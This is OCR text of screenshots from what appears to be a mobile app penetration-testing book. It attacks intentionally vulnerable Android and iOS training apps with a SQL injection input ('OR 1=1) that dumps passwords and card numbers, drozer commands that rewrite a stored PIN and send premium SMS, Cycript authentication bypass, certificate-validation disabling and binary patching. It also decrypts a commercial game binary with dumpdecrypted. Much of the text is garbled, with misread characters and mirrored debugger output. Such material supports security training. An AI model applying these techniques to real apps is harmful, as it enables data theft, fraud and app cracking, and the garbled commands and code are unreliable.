Cookie: SESS=5¢861a57300a2105247fadch517972¢chddch67h2507a13a21f9a01352ad4e1b6771a66273081¢13e813dc05dddc31053146ae348h12¢1¢c8133037h90ca1dfefa2
Host: 192.168.91.1:9888

Connection: close



Burp Intruder Repeater Window Help

Target | Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAlerts 1

_[ niercept I HTTP history TWehSuckets history I Options ]

#| [\ Request to https://192 168.91.1:0882

l Forward J l Drop J | Intercept is on | Action
_[ Raw T Params ] Headers T Hex ]

POST /fourgoats/api'vi/login/authenticate HTTP/1.1
Content-Length: 27

Content-Type: application/x-www-form-urlencoded
Host: 192.168.91.1:9888
Connection: close

userName=test&password=test
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7. Input Validation Issues - Part 1

Objective: Try to access all user data without
knowing any user name. There are three users by Q
default and your task is to output data of all the three

users with a single malicious search.

Hint: Improper or no input validation issue arise

when the input is not filtered or validated before

using it. When developing componants that take

input from outside, always validate it. For ease of

testing there are three users already present in the
database, for example one of them is admin, you can

try searching for admin to test the output.

'OR 1=1-

User: {admin) pass: (passwd123) Credit o+
card: (1234567812345678)
User: (diva) pass: (p@ssword) Credit card: <-

(1111222233334444)
User: (john) pass: (password123) Credit
card: (5555666677778888)
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7. Input Validation Issues - Part 1

Objective: Try to access all user data without
knowing any user name. There are three users by Q
default and your task is to output data of all the three

users with a single malicious search.

Hint: Improper or no input validation issue arise

when the input is not filtered or validated before

using it. When developing components that take

input from outside, always validate it. For ease of

testing there are three users already present in the
database, for example one of them is admin, you can

try searching for admin to test the output.

1111

SEARCH

User:{1111) not found



192.168.199.131:8080/ZIUbpN.




Fe root@kali: ~

dz> run app.prouider.updaxe cgntent;//com.mwr.exawple.Sieue.DBContentProuider/KeyS/ -—selection "pin
=9898" --string Password "Againthebiggestpassword
Done.

dz> run app.provider.query content://com.mur. example.sieve.DBContentProvider/Keys/
| Password | pin |
| Againthebiggestpassword | 9898 |

dz> run app.provider.query content://com.mwr . example.sieve.DBContentProvider/Keys/
| Password | pin |
] ] ]
1 1 1

thisisthebiggestpassword | 9898

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys

Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sie
ve .DBContentProvider/Keys from pid=1102, uid=10052 requires com.mwr.example.sieve READ_KEYS, or gran
tUriPermission()

dz>

dz> run app.provider.finduri com.mwr.example.siev

could not find the package: com.mwr.example.siev

dz> run app.provider.finduri com.mwr.example.sieve
Scanning com.mwr.example.sieve...
content://com.mwr.example.sieve.DBContentProvider/
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.DBContentProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords/
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.FileBackupProvider
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Keys




dz> run app.provider.info —a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve . DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr. example.sieve READ_KEYS
Write Permission: com.mwr.example.sieve WRITE KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.F1leBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

dz> run app.provider.info -a org.owasp.goatdroid. fourgoats
Package: org.owasp.goatdroid.fourgoats
Ho matching providers.

Genymotion for personal use - Google Nexus - Penetrati., | == |&J

00102928745 Q
Premium SMS

Just now



dz> run app.broadcast.send ——action org.owasp.goatdroid. fourgoats.SO0CIAL_SHS —--component org.owasp.g
oatdroid.fourgoats org.owasp.goatdroid.fourgoats. broadcastreceluers SendSHSNowReceiver —-extra strin

g phoneNumber 00102928745 ——extra string message "Premium SHMS™
dz>

[ms OVWASP Goatdroid-fourgoats AndroidApp- dex2_jar_output.jar &2

#-H3 android.support.v4

ah SendsMsNowReceiver.dass i
o1h .
#--f} com.actionbarsherlock

=--f} org.owasp.goatdroid. fourgoats package org.owasp.goatdroid.fourgoats.broadcastreceivers;
- EF activities
i f3 adapter = import android.content.BroadcastReceiver;
&1 3 base import android.content.Context;
£ 3 broadcastreceivers import android.centent.Intent;
£ fw ::Lrnport amdr‘m:.d.os.Eunule;
o tlj b ?mpurt aﬂdruld.telaphuny:Smsr-’.anager; . .
5 tl:' fragments import org.owasp.goatdroid.fourgoats.misc. Utils;
e £ Ja.vascrlphnberfaces public class SendSMSNowReceiver
- £ misc extends BroadcastReceiver
&} f3 requestresponse al{
- rest Context context;
- Ef services
- fap BuildConfig. dlass public void onReceive(Context paramContext, Intent paramIntent)
- R.class e f{

this.context = paramContext;
paramContext = SmsManager.getDefault();
paramIntent = paramIntent.getExtras();

Utils.makeToast (this.context, “Your text message has been sent!”, 1);

dz> run app.broadcast.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid. fourgoats

org.owasp:goatdroid.fﬂurgﬂats.broadcastreceiuers.SendSHSNﬁwReceiuer
Permission: null

BN C:h\Windows\System32\cmd.exe - python drozer console connect === @

dz> run app.service.start --action org.owasp.goatdroid.fourgoats.servicele
id.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
dz>

dz> run app.service.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid.fourgoats.services.lLocationService
Permission: null



B0 i : @] 3%
0] Genymotion for personal use - Google Mexus - Benetrati.. | &=

Q}’j Profile

Last Checkin

Request As Friend

View Checkin History

dz> run app.activity.start ——component .owasp.goatdroid.fourgoats .owasp.goatdroid. fourgoats.
ctivities.Main

dz> run app.activity.start —-component .owasp.goatdroid.fourgoats .owasp.goatdroid. fourgoats.
ctivities.ViewCheckin

dz> run app.activity.start ——component .owmasp.goatdroid. fourgoats .owasp.goatdroid. fourgoats.
ctivities.ViewProfile

dz> run app.activity.start —-component .owasp.goatdroid.fourgoats .owasp.goatdroid. fourgoats.
ctivities.SocialAPTAuthentication




drozer Console (v2.3.4)
dz> run app.activity.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
org.owasp.goatdroid. fourgoats.activities.Main
Permission: null
org.owasp.goatdroid. fourgoats.activities.ViewCheckin

Permission: null

org.owasp.goatdroid. fourgoats.activities. . ViewProfile
Permission: null

org.owasp.goatdroid. fourgoats.activities.SocialAPIAuthentication
Permission: null

BA C:\Windows\System32\cmd.exe - python drozer console connect

drozer Console (v2.3.4)
dz> run app.package.list -f org
org.owasp.goatdroid.fourgoats (FourGoats)
dz> run app.package.info -a org.owasp.goatdroid.fourgoats
Package: org.owasp.goatdroid.fourgoats
Application Label: FourGoats
Process Name: org.owasp.goatdroid.fourgoats
Version: 1.0
Data Directory: /data/user/@/org.owasp.goatdroid.fourgoats
APK Path: /data/app/org.owasp.goatdroid.fourgoats-1/base.apk
UID: 1ees8e

GID: [3003]
Shared Libraries: null

Shared User ID: null

Uses Permissions:
android.permission.SEND_SMS
android.permission.CALL_PHONE
android.permission.ACCESS_COARSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.INTERNET

Defines Permissions:

- None




[*» Send3M3.class - Java Decompiler =

File Edit Mavigation Search Help

=@ |

|ma dex2_jar_output.jar &3

_”tb fcﬁwﬁes “ 1| fup 5endsms.dass 53
+-1oip About.dass ] ]
+“ﬁm Addvenue.dass - %mport andro}d.content.[nntext; oL
;”Em AdminHome. dass %mport andro}d.content.lntent;
4”&@ AdminCptions.dass %mport andro}d.us.Bundle,
. ) import android.telephony.5msManager;
+-mp Checkins. dass . .
- o import androld.text.Editable;
+-mp DestinationInfo.class . . P =
Co . import androlid.view.View; A
Tmfﬂ DoAdminDeleteUser.class i import android.widget.EditText; 3
TNFH DoAdminPasswordReset. dass r import org.owasp.goatdroid.fourgoats.base.Ba:
fmfw DoComment. class import org.owasp.goatdroid.fourgoats.misc.Ut]
- ol Friends.dass
fmﬁﬂ GenericWebViewActivity. dass public class SendSMS
T”Eﬂ History, dass extends BaseActivity
+)-fup Home. class al{
+- Ty Login.dass Bundle bundle;
+mﬁﬂ Main.dass Context context;
;méw Preferences, dass EditText phoneNumberEditText;
+mﬁm Register.dass EditText smsMessageEditText;
- Ty Rewards,dass . .
¥ public boolean areFieldsCompleted()

T Ok al {
i (9 sendsms . :
i ;+ t?_ =n - return {!this.phoneNumberEditText.getText ™
+-Toth SocialAPTAuthentication. dass - P -
140 ViewCherkin. dass i

BN Administrator: Cwindows\system32\cmd.exe = | & 2

C:\Hackbox“\A-tools\dex?jar-2.0>d2j-dex?jar .bat "c:\Hackbox\A-tools\Target\OWASP GoatDroid- FourGoats|

Android App.apk™ -o c:\Hackbox\A-tools\Target\dex?_jar_output.jar |
dex?2jar c:\HackboxM\A-tools\Target\OWASP GoatDroid- FourGoats Android App.apk —> c:\Hackbox\A-tools\T|@
argethdex?_jar_output.jar

a ar apktool 2.0.2.jar d
OUTPUT
SP GoatDroid- FourGoats Android App.apk

.xml with ou
m file:

1:
1:
1:
1:
1:
I:
I:
I:




Genymotion for personal use - Google Mexus - Penetratio... E'@
A

¥/ Destination Info

Host (Or IP)
192.168.56.1
HTTPS Port (Default:9888)
9888

Proxy Host

Proxy Port




Edit Configuration

[ Android | Web Services

|£] OWASP GoatDroid

File Configure View Tools AboutGoatDroid

HTTP Port
aaaa
{Default:38838)
HTTPS Port
{Default:9888) 9888
Update Settings

1 Apps
D FourGoats
D HerdFinancial

[ Description |

‘ Start Emulator |

Push App To Device

Start Web Service ‘

Four Goats

Description

FourGoats is a location-based social network built for sharing everything about your life with everyone. Using

GDAT DROID




B Administrator: Clwindows\system32hcmd.exe

C:\Hackbox\A-tools\Target>adb install "OWASP GoatDroid- FourGoats Android App.apk”
3412 KB/s (1256313 bytes in 0.359s)

o pkg: /data/local/tmp/0HASP GoatDroid- FourGoats Android App.apk

uccess

C:\Hackbox\A-tools\Target>adb install runtime.apk
2660 KB/s (281978 bytes in 0.103s)

pkg: /data/local/tmp/runtime.apk
Success

C:\Hackbox\A-tools\Target>adb install sieve.apk
2806 KB/s (367886 bytes in 0.128s)

pkg: /dataflocal/tmp/sieve.apk
Failure [INSTALL_FATLED_MO_MATCHING_ABISI

C:\Hackbox\A-tools\Target>adb install diva-beta.apk
2263 KB/s (1502294 bytes in 0.648s)

pkg: fdata/local/tmp/diva-beta.apk
Success

C:\Hackbox\A-tools\Target>adb install "OWASP GoatDroid- Herd Financial Android App.
4215 KB/s (3742671 bytes in 0.867s)

pkg: /data/local/tmp/0WASP GoatDroid- Herd Financial Android App.apk
Failure [INSTALL_FAILED_MWO_MATCHING_ABISI




Chapter 7: Full Steam Ahead — Attacking iOS
Applications

di -f
libobjc.A.dylib objc_msgSend:

-> 0x194723bc@: cmp X0, #0
0x194723bc4: b.le  ©0x194723c30 ; objc_msgSend + 112
0x194723bc8: 1dr x13, [x@]
@x194723bcc: and x9, x13, #Ox1fffffff8
0x194723bd0@: 1dp x10, x11, [x9, #16]
0x194723bd4: and wl2, wl, wll
0x194723bd8: add x12, x10, x12, 1sl #4
0x194723bdc: 1ldp x16, x17, [x12]
0x194723bed: cmp x16, x1
0x194723be4: b.ne  0x194723bec ; objc_msgSend + 44
0x194723be8: br x17
0x194723bec: cbz x16, 0x194723d80 i <redacted>
0x194723bf0: cmp x12, x10
0x194723bf4: b.eq ©0x194723c00 ; objc_msgSend + 64
0x194723bf8: 1dp x16, x17, [x12, #-16]!
0x194723bfc: b 0x194723bed ; objc_msgSend + 32
0x194723c00: add x12, x12, wll, uxtw #4
0x194723c04: 1dp x16, x17, [x12]
0x194723c08: cmp x16, x1
0x194723c@c: b.ne  ©0x194723c14 ; objc_msgSend + 84
0x194723c10: br x17
@x194723c14: cbz x16, 0x194723d80 ; <redacted>
0x194723c18: cmp x12, x10
0x194723clc: b.eq ©x194723c28 ; objc_msgSend 104
0x194723c20: 1dp x16, x17, [x12, #-16]!
0x194723c24: b 0x194723¢c08 ; objc_msgSend + 72
0x194723c28: mov X2, X9
0x194723c2c: b 0x19470de7@ ; <redacted>
0x194723¢c30: b.eq ©0x194723c48 ; objc_msgSend 136



register read
General Purpose Registers:

X0 = 0x00000001740324e0

x1 = OxP00000O188@Bac2a "_receivedStatusBarData:actions:"
X2 = 0x0000000104448000

X3 = 0x0000000000000000

x4 = 0x0000000170036d30

x5 = 0x000000016Td76bb8

x6 = 0x00000007fTfffffe

X7 = 0x0000000000000ba0

X8 = 0x0000000196025000 "_allAvailableDefinitionDictionariesUsingRemoteInfo:"
X9 = 0x0000000198e36310

x10 = 0xP000000198e36b38

x11l = 0xP000000000000200

x12 = OxP000oROD16Td76afl

x13 = 0x000000016Td75904

x14 = 0x0000000000000000

x15 = @0x0000000000000007

x16 = 0x0000000194723bc@® Tlibobjc.A.dylib objc_msgSend
x17 = 0x000000019472a6b8 1ibobjc.A.dylib’ <redacted>
x18 = 9xP000000000000000

x19 = 0xP000000000000000

X20 = 0xP000000104448000

LLIWG %0: OX0OOOOOTITASIPCH [TPOPIC Y GA[TP, OplC W2deuq
FULEIQ H¢: £TQ = PXCE\' OXOOOOOOBIATASIPCE [Tpoplc y gArTp, oplcwadeug* 2fob Leszou = pregkboruf I°T
OXTatAS3pCC:  suq X' XT3' %OXTLLLLLLLB
OXTAYAS3IPCE:  [aL  XI3' [x@)
OXT3¢AS3PCY: P'f6  OXTITAIIC3E ! oplcTwadgeuq + ITS
-> @XJ3¥A53pce: cwb xQ' %8
rTpoplc y*gAfTp, oplc wadzeuq:
LLoWe %0: OX0000080TIFAI3PCO [TPoplc y gAfTp, oplc wadzeuq
U = pLegkboTuf T°T
* [PLE9Q RT: £Tq = EXCE8\' XOOOOOO0IAFASIPCE fTpoplc vy gArTp, oplc wedzeuq* dnene = ,cow'sbbrewsTu-fpLesq,' 2fob Legzo0
pLocez2 J2539 2fobbsg
pLOC622 T2539 Le2nwTud
C
BLegkboTuf T: MpeLe = frpoplcryqA[Ip,oplcTwedzeuq’ sqgLezz = EXREOOBEOTATASIPCE
p oplc wadgeuq
MO pLEIKDOTUf2 CNLLEUL[A 26f"
pL [



sh-3.2# lldb

Pl
Con
SD
SDK
SDK
SDK
SDK
SDK
SDK
SDK
SDK
SDK
SDK
B411

platform select remote-ios
remote-ios

atform:
nected:
K Path:

Roots:
Roots:
Roots:
Roots:
Roots:
Roots:
Roots:
Roots:
Roots:
Roots:

)u

no

"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/8.1 (12B411)

o]
1]

"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/4.2"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/4.3"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/5.0"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/5.1"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/6.0"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/6.1"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/7.0"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/7.1"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/8.0"
"/Applications/Xcode.app/Contents/Developer/Platforms/iPhone0S.platform/DeviceSupport/8.1 (12

process connect connect://192.168.106.4:1234

Process 40706 stopped

* thread #1: tid = 0x24708, 0x0000000195358e@c libsystem_kernel.dylib*mach_msg_trap + 8, queue = 'com.apple.ma
in-thread', stop reason = signal SIGSTOP

frame #0: 0x0000000195358e@c libsystem_kernel.dylib*mach_msg_trap + 8

libsystem_kernel.dylib*mach_msg_trap + 8:

-> @x195358e0c:

ret

libsystem_kernel.dylib mach_msg_overwrite_trap:
@x195358e10:
@x195358e14:
@x195358e18:

movn x16, #31
SVC #128
ret

Desktop — ssh — 80x24

ssh N

Hackers—-ipAD:~ root# ./debugserver —attach="iGoat" *:1234
debugserver-@(#)PROGRAM:debugserver PROJECT:debugserver-320.2.89
for arm64.
Attaching to process iGoat...

Listening to port 1234 for a connection from *...



No Recent Contacts

Settings
music

Menu Transport Layer Protection j Videos

& Photos & Camera
Read an article on Transport Layer protection Eackn
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123456789 ® Game Center

€ witter
€3 Facebook

®e  Flickr
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Vimeo

Activator

Introspy - Apps
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OP

g Introspy - Settings

Mouse
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W& Ssubway Surf

123 0 space return 0 e

Settings
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cy# [UIPasteboard generalPasteboard].items
C[e{"com.apple.flat-rtfd":4#"<72746664 00000000 03000000 02000000 07000000 5458542e 72746601 0000002e 0a010000 2b000000 010
00000 02010000 7b5c7274 66315c6l 6e73695c 616e7369 63706731 3235320a Tbh5c666f 6747462 6c5c6630 5¢c667377 6973735¢c 66636861
72736574 30204865 6c766574 6963613b 7d0a7b5c 636f6c6f 7274626c 3b5c7265 64323535 5c677265 656e3235 355c626c 75653235 353b
7d0a 5c706172 645¢7478 3536305c 74783131 32305¢74 78313638 305¢7478 32323430 5¢747832 3830305¢ 74783333 36305¢74 78333932
305c7478 34343830 5c747835 3034305c 74783536 30305c74 78363136 305cT7478 36373230 5c706172 6469726e 61747572 616c5c70 61727
469 67687465 62666163 746£7230 Oala5c66 305¢c6673 3234205c 63663020 34313233 34353637 38393034 35363738 39740100 00002300 0
0000100 00000700 00005458 5427274 66100000 004dbdbc 56060100 00000000 00000000 OO>" ”publlc uth plain-text":"41234567890)
456789" ,"Apple Web Archive pasteboard type":#"<3c21444f 43545950 45206874 6d6c2050 55424cdS 4 4
42048 544d4c20 342e3031 2f2f454e 22202268 7474703a 2£2£7777 772e7733 2e6£7267 2£54522f 68746d6c 342£7374 72696374 2e647464
223e0a3c 68746d6c 3ela3c68 6561643e 0alc6d65 74612068 74747024 65717569 76342243 6£6e7465 6e742d54 79706522 20636f6e 7465
6e74 3d227465 78742f68 746d6c3b 20636861 72736574 34555446 2d38223e 0a3c6d65 74612068 7474702d 65717569 763d2243 6£6e7465
6e742d53 74796c65 2d547970 65222063 6£6e7465 6e743d22 74657874 2£637373 223elaldc 7469746c 653e3dc2f 7469746c 653elaldc 6d657
461 206e616d 653d2247 656e6572 61746£72 2220636f 6e74656e 74342243 6£636£61 2048544d 4c205772 69746572 223e0al3c 7374796c 6
5207479 70653d22 74657874 2£637373 223e0a70 2703120 7b6d6172 67696e3a 20302e30 70782030 22307078 20302e30 70782030 2e3070
78 7d0a7370 616e2e73 31207b66 6f£6e742d 66616d69 6c793a20 2748656c 76657469 6361273b 20666f6e 74247765 69676874 3a206e6f 72
6d616c 3b20666f 62742473 74796c65 3a206e6f 726d616c 3b20666f 6e742d73 697a653a 2031322e 30307074 7d0a3c2f 7374796c 653ela3
c 2f686561 643e0aldc 626£6479 3e0al3c70 20636c6l 73733d22 7031223e 3cT737061 6e220636c 6173733d 22733122 3e343132 33343536 373
83930 34353637 38393c2f 7370616e 3e3c2f70 3el0a3c2f 626£6479 3elaldc2f 68746d6c 3ela>"}]




Burp Intruder Repeater Window Help

Target | Prosy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAI&rts ]

J niercept I HTTP history T WebSockets history T Options ]

#F A Request to hitps://google com 443 [216.58.196.110]

[ Forward J [ Drop J | Intercept is on | Action

_[ Raw T Params T Headers T Hex ]

POST / HTTP/1.1

Host: google.com

Content-Type: application/x-www-form-urlencoded; charset=utf-8
Comnection: close

Accept: */*

User-Agent: DamnVulnerablelOSApp/1.0 CFNetwork/711.4.6 Darwin/14.0.0
Accept-Language: en-us

Accept-Encoding: gzip, deflate

Content-Lenygth: 86

{
"card_cvv™ : 123",
"card_number” : "123456789™,
"card_name" : "SSL Traffic"

}
iPad = 3:28 PM
Settings SSL Kill Switch
W Podcasts
& Game Center 1 Disable Certificate Validation
SSL Kill Switch v0.61 - iISEC Partners
u Twitter USER APPLICATIONS

€7 Facebook DVIA

£ Not Charging



Certificate validation failed.
You will have to do better
than this, my boy!!

Ok




Burp Intruder Repeater Window Help

[Target I Proxy T Spider I Scanner I Intruder I Repeater I Seguencer I Decoder I Comparer I Extender I Options IAIerts ]

_[ ntercept T HTTP history T WebSockets history T Options. ]

[ﬁj Reguest to hitp:/igoogle.com:80 [216.58.196.110]

[ Forward J [ Drop J | Interceptison | Action
J Raw I Params T Headers | Hex

POST / HTTP/1.1

Host: google.com

Content-Type: application/x-www-form-urlencoded; charset=utf-8
Connection: close

Accept: */*

User-Agent: DamnVulnerablelOSApp/1.0 CFNetwork/711.4.6 Darwin/14.0.0
Accept-Language: en-us

Accept-Encoding: yzip, deflate

Content-Lenyth: 85

{
"card_cvv™" i 123",
"card_numbery" : "123456789",
"card_name" : "Vijay Velu"

}



about://(null)
1

OK

Free: Area Man Outraged

Free: Weather-Predicting Cat

Premium: Mayoral Twitter Scandal



Articles

Free: Area Man QOutraged

Free: Weather-Predicting Cat

Exercise

Fair and Balanced

Search all free-to-read articles...

Hackers-ipAD:~ root# DYLD INSERT LIBRARIES=dumpdecrypted.dylib /private/var/mobile/Containers/Bundle/Application/C5267339
/subwaysurfers
mach-o decryption dumper

DISCLAIMER: This tool is only meant for security research purposes, not for application crackers.

[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

detected 64bit ARM binary in memory.

offset to cryptid found: @0x1000dcca8(from 0x10004c000) = ca8

Found encrypted data at address 00004000 of length 26411008 bytes - type 1.
Opening /private/var/mobile/Containers/Bundle/Application/C5267339-86FE-4DAE-9EEC-223BF918E73D/subwaysurfers.app/subwa
Reading header

Detecting header type

Executable is a FAT image - searching for right architecture

Correct arch is at offset 26460160 in the file

Opening subwaysurfers.decrypted for writing.

Copying the not encrypted start of the file

Dumping the decrypted data into the file

Copying the not encrypted remainder of the file

Setting the LC ENCRYPTION_ INFO->cryptid to 0 at offset 193cca8

Closing original file

Closing dump file



Hackers-ipAD:~ root# DYLD INSERT LIBRARIES=dumpdecrypted.dylib /private/var/mobile/Containers/Bundle/Application/195C0931-
PP . app/DamnVulnerableIOSApp
mach-o decryption dumper

DISCLAIMER: This toecl is only meant for security research purposes, not for application crackers.

[+] detected 64bit ARM binary in memory.
[-]1 This mach-o file is not encrypted. Nothing was decrypted.

¢ Back Runtime Manipulation

Congratulations !! You have successfully
bypassed the authentication check.

EP 192.168.106.5 - PuTTY (= |[= | =]
cy# UIApp o
#v<UIApplication: 0x13c601490>"

cy# UIBRpp.keyWindow.rootViewController.topViewController
#"<UINavigationController: 0x13c655670>"

cy# UIApp.keyWindow.rocotViewController.topViewController.visibleViewController
#"<RuntimeManipulationDetailsVC: [beakeldglieietes"

cy# testthelogin = #0x13c675bb0

#"<RuntimeManipulationDetailsVC: 0x13c675bb0>"

cy# [testthelogin isLoginValidated]

false
cy# testthelogin->isa.messages['isLoginvValidated'] = function () { 1:}
function () { 1}

cy# [testthelogin isLoginvValidated]
true



< Back Runtime Manipulation

Login Method 1

{08 Simulator - iPhone 6 - iPhone 6 / i0S 8.1 (12B411)

_—

Carrier = 11:10 AM

¢{ Back Application Patching

Congratulations !! You have successfully
bypassed the authentication check.
Hope this is a permanent change and
you have patched the application.



i0S Simulator - iPhone 6 - iPhone 6 / i0S 8.1 (12B411)
Carrier = 11:10 AM

¢{ Back Application Patching

Patch the method below to always allow
the user to log in regardless of the input.

Admin|

SRR BBRRERIRD

Login Method 1

Patch this check for a jailbroken device to
always return that the device is not
jailbroken




L = Pzeudo Code
void -[ApplicationPatchingDetailsVC loginMethodlTapped:](void * self,
void * _cmd, void * arg2) {

var_B = self;

var_18 = cmd;

var_18 = @x8;

objc_storeStrong(var_18, arg2);

var_19 = @x8;

rax = [var_8 usernameTextField];

rax = [rax retain]:

var_48 = rax;

rax = [rax text]:

rax = [rax retain]:

var_580 = rax;

var_51 = LOBYTE(@x®):

rax = [rax isEqualToString:@"Admin"];

var_29 = @x8;

var_39 = @x8;

var_52 = LOBYTE(var_51);

if ((LOBYTE(rax) & 0x1) == @x@) {

}
else {
rax = [var_8 passwordTextField];
rax = [rax retain];
var_28 = rax;
var_29 = B#x1;
rax = [rax text];
rax = [rax retain];
var_38 = rax;
var_39 = 8#x1;
var_B® = @selector(isEqualToString:);
var 68 = @"'This!sASEcret";
var_52 = LOBYTE( [rax isEqualToString:rdx]);
}

var_69 = LOBYTE(var_52);



@ Hopper Disassemblerv3 File Edit Find Modify Navigate Debug Scripts Window Help Q

[ NN ] DamnVulnerablelOSApp.hop
< > D A|C|P|U
Navigation Undo / Redo Transformations
+
[ L1 | —
B08153b6 pop.w {ra, r7, 1r}
Strings 00153ba bow 6x8263C
; endp

[Qvapplicationpatching\fd Q] BP@153be mov rg, rg

b Tag Scope

== BEGINNING OF PROCEDURE=—=

-[ApplicationPatchingVC initWithMibName:bundle:]
-[ApplicationPatchingViC viewDidLoad)]

-[ApplicationPatchingVC didReceiveMemaryWarning] ~[ApplicationPatchingVC initWithNibName:bundle:]:
-[ApplicationPatchingVC readArticle1 Tapped:] lpea1s3ce pus| {r4, r5, r6, r7, 1r}
p B . . . BB@153c2 add r7, sp, #@xc
[ApplicationPatchingVC readArticle2Tapped:] 80015304 sub sp, HOXB
objc_class_ApplicationPatchingVC BeR153ch mov r5, r@
-[Applicati ingDetailsVC init ibName:bundle:] 800153c8 mov re, r2
p - . ; " 800153ca mov rd, r3
[ApplicationPatchingDetailsVC viewDidLoad)] #0A153cc blx imp__ symbolstubl_objc_retain
-[ApplicationPatchingDetailsVC didRecelveMemoryWarning] #eR153de mov ré, r@
-[Applicati lingDetailsVC loginMethod1Ts d:] @09153d2 movw ré, #dxedd2
[—— inaDetailsVC pushs S @29153d6 movt ré, #@xld
L linglatall=XEs p ael 800153da movw rl, #@xcb6@
-[ApplicationPatchingDetailsVC jailbreakTestTapped:] B89153de movt rl, #@xld
-[ApplicationPatchingDetailsVC showloginFailureAlert] 600153e2 add T [
o ) X B8B@153e4 add rl, pc
-[ApplicationPatchingDetailsVC showAlertTapped:] #00153e6 str 5, [spl
'
-[ApplicationPatchingDetailsVC textFieldShouldReturn:] 2021538 ldr re, [re]
- . ; . . BBR153ea mov r2, ré
[ atchingDetailsVC kil JE: d: d
i — pplicationTapped] 800153ec 1dr r1, [ril
-[ApplicationPatchingDetailsVC usernameTextField] #B0153ee mov r3, rd
-[ApplicationPatchingDetailsVC setUsernameTextField:] 80015370 str re, [sp, #exa]
P . . " ) 80015372 mov ré, sp
T '
& el Detallail p L 80015374 blx imp___symbolstubl__objc_msgSendSuper2
[ icati atchingDetailsVC setP: TextField:] #@R1537e mov rd, r@
-[ApplicationPatchingDetailsVG .cxx_destruct] gggigg;a "b"%\" re, ré PPN ,
o — . . G X imp__ symbolstubl__objc_release
objc_ivar_offset_ApplicationPatchingDetailsVC__usernameTex... 20915400 mov re, r4
objc_ivar_offset_ApplicationPatchingDetailsVC__passwordText... egel1s54e2 add sp, #0xB
objc_class_ApplicationPatchingDetailsVe 20015424 pop gr 4, r5, ré, r7, pc}
; endp

20915486 nop




| DID HACKIT

Ok




“DamnVulnerablelOSApp" already exists.
Do you want to replace it?
A file or folder with the same name already exists in

the folder DamnWVulnerablelOSApp. Replacing it will
overwrite its curment contents.

Cancel place i

db *I DID HACKIT*, 0

CPU mode: Generic

\O.Hovegcome

- Tag Scope

| love Google

(%]

Assemble and Go N

eoanaealndlccefl
2eeeeedledlcceft

Boeoaealoelcctal
eoanaealnalcctsg
ereeeedledlcetel
eoeoeedlealcctan
boeoaealoelcctay
eoapaealodlcctay
eeeeeedledlcctbd

"menuTableView", @
"T@\"UITableView\",&,N,V menuTableView", @&
It

og
“Te\"UITextField\" ,W,N,V_usernameTextField", @
“cryptor", @
"T~{_CCCryptor=},R,N,V__cryptor”, @
“buffer”, @
"T@\"NSMutableData\",R,N,V__buffer", 8
"slidingViewController"”, @
"Te\"'ECSlidingViewController\”,N,V_slidingViewControll



| love Google

Ok




Success

Calling 1234567890 without validation.
Ring Ring !

OK




o & Pzeudo Code
bool -[AppDelegate application:openURL:sourceApplication:annotation:]
(void * self, void % _cmd, void % arg2, void * arg3, void % arg4, void =

args) {

var_18 = self;

var_18 = cmd;

var_20 = @x8;

var_68 = arg4;

var_7@ = arg3;

var_78 = arg5;
objc_storeStrong(var_2@, arg2);
var_28 = @x8;
objc_storeStrong(var_28, var_70);
var_30 = @x8;
objc_storeStrong(var_3@, var_68);
var_38 = @x8;

objc_storeStrong(var_38, var_78);

var_40 = [[var_28 absoluteString] retain];
var_B80 = @x7fffffffffffffff;

var_5@ = [var_4@ range0fString: rdx];
var_48 = @"/call_number/":

if (var_5@ != var_B80) {
var_58 = [[var_1@ getParameters:var_28] retainl];
rax = [var_58 objectForKey:@"phone"];
rax = [rax retain];
var_88 = rax;
[rax releasel;
if (var_88 !'= oax8) {
var_98 = @"'phone";
rax = [UIAlertView alloc];

var_98 = @selector(objectForKey:);
var_AB = rax;
var_A8 = NSString;



Export FDF

Zoom

0x100001c70:

Jmp

0x100001c75

\

-[SideChannelDatalLeakageVC initWithNibName:bundle:]:

push

:

sub
lea

BEEEpREEEEEE

HEQ

[N

[
-

D RHLHAR L

rbp
rbp, rsp
rsp, 0x&60

rax, gword [ss:rbpt+var_18]
gword [ssirbpt+var 8], rdi
gword [ss:rbp+var 10], rsi
gword [ss:irbp+var_18], 0x0
rdi, rax
